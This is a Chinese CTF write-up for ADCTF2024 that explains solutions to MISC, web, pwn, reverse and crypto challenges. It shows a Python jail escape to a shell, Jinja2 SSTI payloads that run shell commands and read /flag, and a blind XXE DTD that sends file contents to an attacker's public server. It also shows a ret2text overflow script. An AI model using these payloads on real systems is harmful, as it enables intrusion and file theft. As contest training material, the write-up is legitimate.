ADCTF2024 个人Writeup
MISC
[Easy] nolibc
坏了,刚刚不小心 把 libc 删掉了 ,输入什么都没用了,怎么办呜呜呜 T_T。
求求你惹,能不能帮我把一份重要文件
(指 flag)拿出来,待会儿就要用惹xwx。
rkk是不是做了MoeCTF的那个题所以出了这个……
这题我直接把我MoeCTF的Payload拿过来用的,但是跟那个题目不一样的地方在于我们不知道flag在哪里,所以我先试试看看当前目录的东西
当然,没有libc,我们是用不了ls
的,所以我用了echo *
得到flag的文件名为4La9-83c566f8
,还是因为没有libc,所以没有cat
,所以用while
+read
1 | $ while IFS= read -r line; do echo "$line"; done < 4La9-83c566f8 |
然后就得到flag了
[Easy] py_jail
连接题目得到源码
1 | code = input('> ') + '\n' |
这里是把条件限定在了不能用小括号并且只能用ASCII字符,所以我们就不能用花体字(同字母但是非ASCII)来逃逸了
稍微搜了一下,发现可以用魔术方法,我先把我的payload放这里
1 | from os import system as __getattr__ |
__getattr__
是Python自带的一个方法,当访问一个对象不存在的对象属性的时候就会被调用,在这里我们用from os import system as __getattr__
提前把 __getattr__
改成了system
函数
接着,从from __main__ import sh
,我们正在运行的程序会被Python认为是__main__
模块,而sh
是这个模块里面不存在的一个属性,所以__getattr__
会被调用,而我们的属性名为sh
,所以本来是__getattr__("sh")
会被拼接成system("sh")
,达到了获得shell的目的
接着就是读取flag了,这个就没啥好说的了
[Easy] [Black MIDI] Bad Apple!!
rk 最近想起了几年前看的 黑乐谱 视频,想着自己能不能也编出一套黑乐谱。
为了学习黑乐谱,于是开始学习使用 MIDI 编辑器,开始尝试的第一步。
你能不能找出来 rk 学习时在 MIDI 里夹带的私货?
Bad Apple = BA = Base + AES
QED.
把MIDI丢到Audacity看,逐个轨道观察,发现第13轨道有类似于摩斯电码的东西
转移出来得到TOHOMUSICDAISUKI
然后在rkk的助攻下,下了个专业(真的专业吗)的MIDI编辑器看
发现第12轨道有名称flag
,并且刚刚的13轨道名称为key
,于是联想到AES加密
在这编辑器里把其他轨道都删除,然后只保留12轨道,另存为文件,丢入010Editor,发现除了下图红框部分,下面的内容都可以每9个字节分为一组,并且有固定的格式00 9C {31} 40 9E 00 8C {31} 00
,其中{31}
处是可变的,猜测为音符对应的十六进制
写个脚本提取出来
1 | def extract_variable_numbers(hex_file_path): |
可以得到十六进制数据
1 | 31 47 41 45 4e 43 75 6d 36 6d 79 54 39 44 4a 6e 31 4f 6e 65 2b 52 70 61 41 5a 50 50 2f 73 38 78 45 45 2f 69 53 46 34 79 75 2b 44 72 77 73 72 2b 54 68 59 4f 71 49 47 30 73 54 38 55 59 58 48 30 45 38 31 6b 6a 6d 67 31 44 42 53 49 55 41 38 32 33 79 33 74 51 32 55 58 4d 33 33 36 45 55 51 57 73 4b 62 61 65 73 71 70 58 54 4d 3d |
再来个AES解密脚本(注意这里密文的padding有问题),这里是猜测了向量跟密钥一样
1 | from Crypto.Cipher import AES |
发现解密出来为乱码
然后我又去对了个思路,结果rkk跟我说摩斯电码不分大小写
行吧,吃了没经验的亏,把key改为小写后得到flag:flag{h0orAy!y0U_v3_a1r3@dY_l33rnt_a_1ittl3_b17_aB0uT_b1ak_m1dI}
下面附上一个其他选手的提取脚本
1 | from mido import MidiFile |
WEB
[Easy] Sign_in_ADCTF
出题人: Ak1M1O
11811
端口对应为 HTTP 服务,请通过 浏览器 及 其他 HTTP 相关工具 进行访问
M1O 在宣讲会中签到签退失败,这次他一定要签到成功
打开是一个网页,按F12发现hint
然后凭借手速调用后,提示flag在图片里
在图片的备注中发现要在公众号发送关键词
然后发送了就得到flag了
[Easy] sst1
出题人: unknown
11811
端口对应为 HTTP 服务,请通过 浏览器 及 其他 HTTP 相关工具 进行访问
这是一个超有趣的 CTF 题目~
基于 Flask 的应用,隐藏着一个小小漏洞哦~
你需要通过巧妙地构造输入,绕过一些简单的过滤,触发代码执行,从而拿到 flag!
加油呀,快来挑战一下这个小小的漏洞吧!
看提示明显SSTI题目,顺带得到如下的源码
1 | from flask import Flask, request, render_template_string |
看起来就是把payload丢在exp里面,但是digest会进行md5计算,当md5值与digest相等时才会运行payload
并且,题目禁用了[
和'
,这两个很好绕过,'
可以用"
直接代替,而[]
可以用<super>.__getitem__(index)
来代替,先顺手写个脚本
1 | import httpx |
然后就是不断尝试的环节,先用{{''.__class__.__mro__.__getitem__(1)}}
得到object,然后调用__subclasses__()
找到所有的子类,得到了下面这个特别特别长的list
1 | [<class 'type'>, <class 'async_generator'>, <class 'int'>, <class 'bytearray_iterator'>, <class 'bytearray'>, <class 'bytes_iterator'>, <class 'bytes'>, <class 'builtin_function_or_method'>, <class 'callable_ 'PyCapsule'>, <class 'cell'>, <class 'classmethod_descriptor'>, <class 'classmethod'>, <class 'code'>, <class 'complex'>, <class 'coroutine'>, <class 'dict_items'>, <class 'dict_itemiterator'>, <class 'dict_ass 'dict_valueiterator'>, <class 'dict_keys'>, <class 'mappingproxy'>, <class 'dict_reverseitemiterator'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_values'>, <clas |
然后我用了点小技巧,把头尾的[]
掐掉,然后把所有的,
替换为\n
,就可以按照行号大概寻找到范围,然后搜索一下subprocess
,找到行号为338
,但是肯定不是338,因为这些数据并没有处理完全(例如图中348行就明显不对)
然后继续使用__getitem__()
尝试,最终确定索引为365
1 | Payload> {{''.__class__.__mro__.__getitem__(1).__subclasses__().__getitem__(365)}} |
然后就好办了,直接上手
1 | Payload> {{''.__class__.__mro__.__getitem__(1).__subclasses__().__getitem__(365)("whoami", shell=True,stdout=-1).communicate()[0].strip()}} |
emmmm,翻车了,发现[]
没去掉,不过没所谓,可以不要那个[0].strip()
的,直接删掉,然后试试whoami
1 | Payload> {{''.__class__.__mro__.__getitem__(1).__subclasses__().__getitem__(365)("whoami", shell=True,stdout=-1).communicate()}} |
此时,我们已经得到shell权限了,直接cat一下flag就行了
1 | Payload> {{''.__class__.__mro__.__getitem__(1).__subclasses__().__getitem__(365)("cat /flag", shell=True,stdout=-1).communicate()}} |
[Easy] lottery
来抽个奖,签下到!
能不能抽到 flag,就看你是欧还是非 >w<!
非酋是永远出不来的,还是得上手段
一道签到题,打开网站就能看到有两个卡池,然后在控制台能翻json,里面有列表,在空池子发现Name
为Flag
的内容
内容拿出来直接b64解码就行
[Normal] sst2
哇,黑名单变多了呀!这下题目更有挑战性啦~
不过,挑战越大,成就感也越强哦!
访问得到源码
1 | from flask import Flask, request, render_template_string |
发现黑名单完全禁用了引号,还有点,也就是说我们不能用__getitem__
的方式来拿到object里面的函数了
经过简单的搜索以后,前辈师傅们的文章告诉我还有用attr
来获取里面对象的方式,具体用法是这样的
- {{ obj|attr(dict_key_name) }}
- {{ obj|attr(pop)(index) }}
其中这个pop
就是一个方法,其实就是调用attr.pop,所以要用pop首先得构造出pop,继续用SSTI第一题的那个脚本来方便自己做题
禁用了引号也有其他方式构造字符串,我这里用了dict的join,先构造出pop
1 | Payload> {% set pop=dict(po=a,p=b)|join %}{% print pop %} |
就得到了pop字符串,为了得到__builtins__
,我还需要一个__globals__
,用同样的方式弄出来
1 | Payload> {% set globals=dict(__globals=a,__=b)|join %}{% print globals %} |
我用了url_for
来获取我所需要的对象
1 | Payload> {% set pop=dict(po=a,p=b)|join %}{% set globals=dict(__globals=a,__=b)|join %}{% set global_obj=url_for|attr(globals) %}{% print global_obj %} |
然后就得到了__globals__
,内容如下(太长了,我用GPT格式化了一下要不然很难看清)
1 | { |
接着看到里面有__builtins__
,有了这东西我就能用__import__
所以一顿操作把这两个东西弄出来
下面的payload我在这里写的时候加了回车方便查看,但是实际上丢进去我的脚本跑的时候,我是没加的,每次构造获得的变量仅在这次注入有效,所以要连带着上面的payload一起写进去
1 | Payload> {% set pop=dict(po=a,p=b)|join %} {# 构造pop #} |
接着直接来获取一下os
1 | Payload> {% set pop=dict(po=a,p=b)|join %} {# 构造pop #} |
接着去拿popen
1 | Payload> {% set pop=dict(po=a,p=b)|join %} {# 构造pop #} |
发现成功了,先把它变成一个变量
1 | {% set popen_obj=import_obj(os)|attr(popen) %} {# 将popen对象赋值给popen_obj #} |
接着我发现我还需要空格,而在尝试的时候,我发现了这个东西
1 | Payload> {{url_for|string|list}} |
诶,这里面的index=6的位置不就是个空格嘛,拿出来用
1 | {% set space=(url_for|string|list)|attr(pop)(6) %} {# 将空格赋值给space #} |
然后我又发现了一个很尴尬的问题,我缺少/
这个字符,行吧,再去弄个chr函数
1 | Payload >{% set chr=dict(ch=a,r=b)|join %} {# 构造chr #} |
接着构造我需要的cmd
1 | Payload >{% set cat=dict(ca=a,t=b)|join %} {# 构造cat #} |
在构造一个read来调用popen.read()
1 | Payload >{% set read=dict(re=a,ad=b)|join %} {# 构造read #} |
最后就是读取
1 | Payload >{% print popen_obj(cmd)|attr(read)() %} {# 调用os.popen("cat /flag").read() #} |
最后payload组合起来长这样
1 | Payload> {% set pop=dict(po=a,p=b)|join %} {# 构造pop #} |
[Easy] onlineJava
访问到是一个在线Java的代码运行器
先尝试从零开始写一个读取文件
1 | import java.io.*; |
结果报错了
看起来可控的只有main函数里面的东西,所以我们不能import,那就用最原始的方法
1 | try { |
直接创建一个进程来读取就行了,然后就拿到flag了
[Easy] xxe
首先XXE我就不知道是个啥,先Google一下
XML external entity injection (also known as XXE)。奇怪,XML External Entity 为什么不叫XEE?
XML 外部实体注入(也称为 XXE)是一种 Web 安全漏洞,允许攻击者干扰应用程序对 XML 数据的处理。它通常允许攻击者查看应用程序服务器文件系统上的文件,并与应用程序本身可以访问的任何后端或外部系统进行交互。
在某些情况下,攻击者可以利用 XXE 漏洞联合执行服务器端请求伪造(SSRF) 攻击,从而提高 XXE 攻击等级以破坏底层服务器或其他后端基础设施。
因为习惯性的以为容器不出网 结果痛失前三血(哭
先反编译一下,在com.ad.controller.MainController
类里面找到后门路由
1 | package com.ad.controller; |
后门路由为/backdoor
,采用GET方式获取fname
参数,并渲染fname
对应的xml
我个人理解起来就是有点像SSTI,模板可控,因为前期尝试过了各种XXE姿势,发现成功只返回success
,所以判断为盲注,然后参考了这篇文章
渗透测试|利用Blind XXE Getshell(Java网站)-腾讯云开发者社区-腾讯云
注:某抄袭、偷盗、付费下载网站有这篇,但是要钱 =-=
这位师傅用XXE成功Getshell了,而我只需要读取/flag
的内容,所以可以改一下拿来用
try.dtd
1 | <!ENTITY % all "<!ENTITY % send SYSTEM 'http://公网服务器IP:某端口/%file;'>"> |
tmpass.xml
1 |
|
这里的https://org.bili33.top/CTFTMP/try.dtd
是我借了Github服务器丢的一个文件(已删库,勿访问),这样能被访问到,然后我只需要读取/flag
文件,所以在上面把file
改成file:///flag
,然后在我的公网服务器开一个flask服务器,等待回传就好了,得到flag为ADCTF{WOW_Y0u_Kn0w_H0w_to_use_Blind_XXE}
PWN
[Easy] meow
这题给的二进制文件有中文,所以第一件事情是更改了IDA的编码方式
在顶上的Options
,然后在弹窗选择Strings
,更改Default 8-bit
为UTF-8
即可
在main函数里发现了alarm
函数,我的直觉告诉我这是脚本题
题目的猫娘要求如下
所以上脚本梭哈(计数是后面加的)
1 | from pwn import * |
然后就能够得到flag了,顺带能得到喵了22声
[Easy] binsh
反编译后得到源码
1 | int __fastcall __noreturn main(int argc, const char **argv, const char **envp) |
发现每次读2个字符就会断开,并且如果第二个是h
(104),就改为b
(98),所以sh
会变成sb
(诶不是你这题咋还骂人呢)
只能输入两个字符,所以我想到的命令是ls
,df
,du
,sh
,vi
非预期做法
当然,df
du
都没什么用,sh
会变成sb
,ls
可以得到flag的文件名就叫flag,而且在当前目录,于是我就转向了vi
使用vi
打开vim编辑器,然后通过vim编辑器的命令来读取
我一开始是直接:!cat flag
,但是发现因为输出问题,会被挡住
所以改成了:r !cat flag
,:r
可以把运行的结果保存在当前编辑器中,所以我就可以直接看到flag了
预期做法
预期做法是用$0
,linux的$0
表示当前运行程序/脚本的名称,所以在这个环境下,$0
表示/bin/sh
,也就可以变相调用sh
命令,突破2个字符的限制
[Easy] ret2text(赛后出)
反编译得到源码,发现后门函数vuln
1 | int vuln() |
看到buf为96长,读取的长度受第一次的输入age决定,但是输入长度是正数,所以会被强制取正(unsigned),所以输入负数就能够绕过95的限制
再发现后门函数backdoor
1 | ; Attributes: bp-based frame |
地址为0x400616
,所以写payload
1 | from pwn import * |
一跑,诶?怎么不对呢?这个时候J佬出了,后面问了一下,我没+8
……
行吧,改一改就出来了
1 | from pwn import * |
然后就能够做出来了……痛失800pts
REVERSE
[Easy] checkin
直接IDA反编译,得到源码
1 | int __fastcall main(int argc, const char **argv, const char **envp) |
因为Python的randint需要指定范围,我也不知道C的rand()
的范围是多少,所以直接用C梭哈
由异或运算的性质,我们可以通过它的可逆性得到原始flag
先获取原始flag的数据
1 |
|
得到结果为
1 | \x66\x6C\x61\x67\x7B\x79\x30\x75\x5F\x4B\x6E\x6F\x77\x5F\x72\x41\x6E\x64\x30\x6D\x5F\x34\x6E\x64\x5F\x78\x4F\x72\x7D |
再写一个Python脚本来验证一下
1 | from pwn import * |
发现结果正确
最后转为ASCII字符,得到flag为flag{y0u_Know_rAnd0m_4nd_xOr}
CRYPTO
[Normal] Use_Many_Time
得到题目源码
1 | from Crypto.Util.number import * |
因为发现n=p^4,所以可以通过n来退出p,所以直接GPT梭哈
1 | from Crypto.Util.number import * |
最后得到flag为flag{another_weird_construction}
[Normal] Too_Close_To_Sqrt
题目源码如下
1 | from gmpy2 import next_prime |
丢给GPT一把梭
1 | from Crypto.Util.number import * |
得到flag:flag{oops_the_N_is_not_secure}
[Normal] One_Way_Function
题目如下
1 | from hashlib import sha512 |
麻烦点的做法
都sha512了,那肯定不是爆破,找一个sha512的字典去碰去,找到了这个网站https://crackstation.net/
然后把内容丢进去,就能碰撞出flag了
简单点的做法
就是写个脚本一把梭,因为很容易发现脚本里面是对单个字符进行了sha512的计算,所以可以直接建立一个映射,然后再把数据丢进去就可以
1 | from hashlib import sha512 |
运行后可以得到flag为flag{d4d07133-d6bb-4add-b194-8c8eec4bb33f}
[Normal] One_Key_Pad
代码如下
1 | from secret import flag, key |
发现是个异或操作,而且是单个字符异或,题目又说是One_Key
,所以推测key为一个字符
写爆破脚本
1 | ciphertext_hex = 'e0eae7e1fde3e7fcffd9fee9f4fb' |
发现key为134号字符,flag为flag{eazy_xor}
[Normal] Check_Your_Factor_Database
题目代码如下
1 | from secret import p, q, flag |
题目告诉我们查数据库(http://www.factordb.com/ ),我查到n可以分解为下面两个因子,经过验证是正确的
1 | a = 102786970188634214370227829796268661753428191750544697648009912021832510479846406842660652442082773578020088104585096298944409097150001317920480815093132150004913448767202198299893840769568841219755466694275862843676241177608436424364735585247574303039353776987581503833128444693347920806395102183872665901277 |
所以直接梭哈
1 | from Crypto.Util.number import inverse, long_to_bytes |
得到flag为flag{factor_db_is_useful}
END
最终战果如图,周日早八晚五直接少了好几个做题时,算啦,老二就老二吧 =-=